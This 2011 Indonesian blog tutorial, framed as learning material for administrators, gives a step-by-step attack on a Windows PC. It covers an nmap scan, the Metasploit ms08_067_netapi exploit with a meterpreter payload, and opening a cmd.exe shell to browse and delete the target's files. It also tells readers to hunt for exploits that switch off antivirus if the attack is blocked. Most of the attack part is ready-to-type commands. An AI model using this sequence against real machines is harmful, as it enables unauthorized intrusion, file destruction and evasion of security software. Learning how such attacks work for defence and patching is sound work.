Monday, November 28, 2011

Hacking Windows dengan Metasploit

Artikel ini dimaksudkan untuk pembelajaran. Jangan digunakan untuk kegiatan yang melanggar hukum.

Sebagai seorang IT Administrator, tentunya memerlukan banyak tools untuk memastikan bahwa system yang dimanage aman. Dan sebagaimana yang saya sampaikan pada tulisan saya sebelumnya bahwa langkah terbaik untuk menjaga keamanan dan stabilitas system/network adalah dengan mengetahui jenis-jenis serangan yang biasa dilakukan oleh para craker.   

Pada artikel kali ini saya akan sharing mengenai hacking dengan menggunakan Metasploit. Metasploit adalah salah satu tools yang tersedia pada Linux BackTrack (Backtrack adalah OS yang biasa digunakan para hacker).

Dengan menggunakan Metasploit, seorang craker bisa masuk ke DOS windows, melihat-lihat isi hardisk bahkan bisa menghapus folder windows tersebut.  

Hal-hal yang harus disiapkan adalah :
  1.  1.  Satu buah PC atauNotebook dengan OS BackTrack atau jika kebetulan menggunakan Linux Ubuntu maka terpaksa harus menginstall terlebih dahulu tools Backtrack pada Ubuntu (Cara install BackTrack pada Ubuntu akan saya sampaikan dalam artikel yang berbeda. 
  2.       PC dengan OS WindowsKedua PC tersebut di atas harus terhubung dengan LAN.
Selanjutnya lakukan langkah-langkah berikut :
  1. Buka terminal/console
  2. Ketikkan nmap kemudian tekan enter$> nmap ip-target enter (ganti ip-target dengan ip number dari target PC
    Kemudian akan muncul gambar seperti di bawah ini.



Dari gambar di atas terlihat bahwa Port 135 di windows dari PC target statusnya Open, dan itu pertanda awal yang bagus. 

3.   Ketikkan msfconsole kemudian tekan enter
      $> msfconsole enter



Setelah menekan tombol enter, akan muncul window sebagai berikut :

 


4.  Ketikkan perintah berikut :

$> use windows/smb/ms08_067_netapi (enter)
$> set payloads windows/meterpreter/bind_tcp (enter)
$> set lhost 192.168.0.1 (enter, IP PC penyerang)
$> set rhost 192.168.0.2 (enter, IP PC target)
$> exploit (enter)

5. Jika setelah mengetikkan baris perintah diatas, muncul pesan seperti ini “Exploit completed, but no session was created”, berarti antivirus dari komputer target bekerja dengan baik. Carilah exploit yang bisa mematikan antivirus.

6.  Jika yang muncul adalah
     $> meterpreter berarti sukses.
7.  Lanjutkan dengan mengetikkan perintah berikut ini  
     $> execute –f cmd.exe –c -i

Coba ketikkan perintah DIR untuk melihat file dan folder-folder di windows. Untuk menghapus tinggak ketikkan DEL <nama file>

Terakhir, jika serangan exploit yang dilakukan di atas berhasil maka segera patch/update windowsnya serta update antivirusnya. Jangan lupa gunakan Antivirus yang bagus.   
Modul-modul exploit yang menggunakan metasploit bisa dipelajari pada link berikut : http://www.offensive-security.com/metasploit-unleashed/

Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Design by Free WordPress Themes | Bloggerized by Lasantha - Premium Blogger Themes | Affiliate Network Reviews